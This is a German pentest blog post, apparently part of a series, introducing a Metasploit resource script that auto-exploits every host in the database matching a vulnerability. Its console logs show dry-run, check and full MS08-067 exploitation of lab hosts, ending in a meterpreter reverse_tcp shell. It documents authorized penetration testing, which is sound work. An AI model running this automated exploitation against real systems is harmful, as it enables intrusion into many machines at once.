no one is safe ...

Automatisierung im Rahmen eines Pentests - part 11 (Auto-Exploitation)

In den bisherigen Posts rund um Automatisierungsmöglichkeiten mit Metasploit Resource Files fehlte bislang der automatische Exploitingprozess. Bis vor kurzem war db_autopwn das Maß aller Dinge. Dieses wurde allerdings von Smart Exploitation in Metasploit Pro abgelöst. In der Metasploit Konsole gab es somit keine weiteren Möglichkeiten eines automatischen Exploit Vorganges. Die Tage habe ich mit großer Unterstützung durch sinn3r von Rapid7 ein kleines Resource Skript entwickelt das in unterschiedlichen Fällen Abhilfe schafft.
Dieses Skript hilft bei der automatischen Anwendung eines einzelnen Exploits gegen mehrere Systeme. Dafür werden vorab bereits Schwachstelleninformationen in der Metasploit Datenbank benötigt. Beispielsweise lassen sich diese mit Vulnerability Scannern importieren. Das Skript lässt sich entweder innerhalb der Metasploit Konsole mit dem resource Kommando aufrufen oder über den -r Parameter der Metasploit Konsole. Wird es direkt mit der Metasploit Konsole aufgerufen lässt sich mit dem Argument help eine kurze Hilfe ausgeben:

root@bt:~/metasploit# msfconsole -r /root/msf-git/metasploit-framework/scripts/resource/autoexploit.rc help
<snip>
       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 900 exploits - 491 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

[*] Processing /root/msf-git/metasploit-framework/scripts/resource/autoexploit.rc for ERB directives.
[*] resource (/root/msf-git/metasploit-framework/scripts/resource/autoexploit.rc)> Ruby Code (6550 bytes)

Description:
        This Metasploit RC file can be used to automate the exploitation process.  Before using the
        script, you must import your vulnerability results to Metasploit so that it can deploy the
        module based on matching references. Three modes are available: exploit/dry/and check.
        In exploit mode, it will attempt to gain access to all vulnerable hosts with the most
        suitable reverse shell that's automatically selected.  In "dry" mode (dry-run), it'll list
        all the hosts vulnerable to the exploit.  In check mode, it will only trigger the check()
        function found in the module.  If no mode is specified, then it'll default to 'exploit'.

Usage:
        ./msfconsole -r [rc_path] [db_user] [db_pass] [db_workspace] [module_path] [mode]

Arguments:
        rc_path      - Full path to the RC script
        db_user      - Username for MSF database           (datastore: 'DB_USER')
        db_pass      - Password for MSF database           (datastore: 'DB_PASS')
        db_worksapce - Workspace for the database          (datastore: 'DB_WORKSPACE')
        module_path  - Path to the exploit                 (datastore: 'MODULE')
        mode         - Optional. Accept:exploit/dry/check  (datastore: 'MODE')

Example of running an exploit:
        msfconsole -r autoexploit.rc username password msf windows/smb/ms08_067_netapi

Authors:
        sinn3r  <sinn3r[at]metasploit.com>
        m-1-k-3 <m1k3[at]s3cur1ty.de>

10.8.28.2 - (Sessions: 0 Jobs: 0) >

Wie aus der dargestellten Hilfe hervorgeht, lässt sich dieses Skript vollständig über Kommandozeilenparameter steuern. Alternativ lassen sich globale Datastore Optionen wie MODULE zur Angabe des anzuwendenden Exploits nutzen. Im weiteren Verlauf werden die Referenzen dieses Exploits mit der vorhandenen Schwachstellen Datenbank (vulns) abgeglichen. Werden bei diesem Abgleich verwundbare Systeme gefunden, lässt sich beispielsweise mit set MODE dry Option ein erster Trockenlauf einleiten.
Folgender Suchvorgang zeigt die vorhandenen Systeme mit der zu nutzenden Schwachstelle:

10.8.28.2 - (Sessions: 0 Jobs: 0) > vulns -S ms08-067
[*] Time: 2012-07-06 12:14:37 UTC Vuln: host=192.168.44.23 name=MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (uncredentialed check) refs=CVE-2008-4250,BID-31874,OSVDB-49243,IAVA-2008-A-0081,MSFT-MS08-067,CWE-94,MSF-Microsoft Server Service Relative Path Stack Corruption,NSS-34477
[*] Time: 2012-07-06 12:14:13 UTC Vuln: host=192.168.44.26 name=MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (uncredentialed check) refs=CVE-2008-4250,BID-31874,OSVDB-49243,IAVA-2008-A-0081,MSFT-MS08-067,CWE-94,MSF-Microsoft Server Service Relative Path Stack Corruption,NSS-34477,MSB-MS08-067,URL-http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos

Das Netzwerk weist mehrere Systeme mit der zu nutzenden Schwachstelle auf. Im Gegensatz zu Auxiliary Module weisen Exploitmodule keine Möglichkeit auf mehrere Zielsysteme zu konfigurieren. Mit folgender Vorgehensweise ist es möglich den passenden Exploit gegen mehrere Systeme zu testen, mit der Check Funktionalität eine Verwundbarkeit zu prüfen und anschl. anzuwenden. Im ersten Vorgang analysieren wir mit einem Dry Run die Exploit Datenbank auf verwundbare Systeme:

10.8.28.2 - (Sessions: 0 Jobs: 0) > set MODULE windows/smb/ms08_067_netapi
MODULE => windows/smb/ms08_067_netapi
10.8.28.2 - (Sessions: 0 Jobs: 0) > set MODE DRY
MODE => DRY
10.8.28.2 - (Sessions: 0 Jobs: 0) > resource /root/msf-git/metasploit-framework/scripts/resource/autoexploit.rc
[*] Processing /root/msf-git/metasploit-framework/scripts/resource/autoexploit.rc for ERB directives.
[*] resource (/root/msf-git/metasploit-framework/scripts/resource/autoexploit.rc)> Ruby Code (6550 bytes)
[+] 192.168.44.26 has a matching reference to ms08_067_netapi
[+] 192.168.44.23 has a matching reference to ms08_067_netapi

Mit der MODE auf check lässt sich die im Exploit integrierte Check Funktionalität nutzen:

10.8.28.2 - (Sessions: 0 Jobs: 0) > set MODE CHECK
MODE => CHECK
10.8.28.2 - (Sessions: 0 Jobs: 0) > resource /root/msf-git/metasploit-framework/scripts/resource/autoexploit.rc
[*] Processing /root/msf-git/metasploit-framework/scripts/resource/autoexploit.rc for ERB directives.
[*] resource (/root/msf-git/metasploit-framework/scripts/resource/autoexploit.rc)> Ruby Code (6550 bytes)
[+] Checking ms08_067_netapi against host 192.168.44.26
RHOST => 192.168.44.26

[*] [2012.07.11-08:50:15] Verifying vulnerable status... (path: 0x0000005a)
[+] The target is vulnerable.

[+] Checking ms08_067_netapi against host 192.168.44.26
RHOST => 192.168.44.26
[*] [2012.07.11-08:50:16] Verifying vulnerable status... (path: 0x0000005a)
[+] The target is vulnerable.

Zu guter Letzt wird der Exploit gegen alle ermittelten Systeme zur Anwendung gebracht:

10.8.28.2 - (Sessions: 0 Jobs: 0)> unset MODE
Unsetting MODE...
10.8.28.2 - (Sessions: 0 Jobs: 0)> resource /root/msf-git/metasploit-framework/scripts/resource/autoexploit.rc
[*] Processing /root/msf-git/metasploit-framework/scripts/resource/autoexploit.rc for ERB directives.
[*] resource (/root/msf-git/metasploit-framework/scripts/resource/autoexploit.rc)> Ruby Code (6550 bytes)
[*] Payload selected: windows/meterpreter/reverse_tcp (lhost=10.8.28.2)
[+] Using ms08_067_netapi against host 192.168.44.26
RHOST => 192.168.44.26
payload => windows/meterpreter/reverse_tcp
lhost => 10.8.28.2

[*] [2012.07.11-08:50:36] Started reverse handler on 10.8.28.2:4444
[*] [2012.07.11-08:50:36] Automatically detecting the target...
[*] [2012.07.11-08:50:36] Fingerprint: Windows 2000 - Service Pack 4 with MS05-010+ - lang:English
[*] [2012.07.11-08:50:36] Selected Target: Windows 2000 Universal
[*] [2012.07.11-08:50:37] Attempting to trigger the vulnerability...
[*] [2012.07.11-08:50:37] Sending stage (752128 bytes) to 192.168.44.26
[*] Meterpreter session 1 opened (10.8.28.2:4444 -> 192.168.44.26:1958) at 2012-07-11 08:50:40 +0200
[*] Session 1 created in the background.
<snip>

Es muss somit nicht mehr jeder Exploit für jedes System immer manuell angewendet werden. Mit diesem Skript ist es sehr einfach möglich mehrere Systeme die gegenüber einer Schwachstelle anfällig sind automatisch anzugreifen.

Vielen Dank an sinn3r von Rapid7 für seine Unterstützung bei diesem Skript!

Weitere Informationen zu Metasploit findet ihr in meinem Buch. Erste Probekapitel sind zudem auf der dpunkt-Webseite verfügbar. Das Buch lässt sich natürlich auf Amazon bestellen.

Bis zum nächsten Teil wo wir weitere Automatisierungsmöglichkeiten von Metasploit betrachten werden.

have phun,
mIke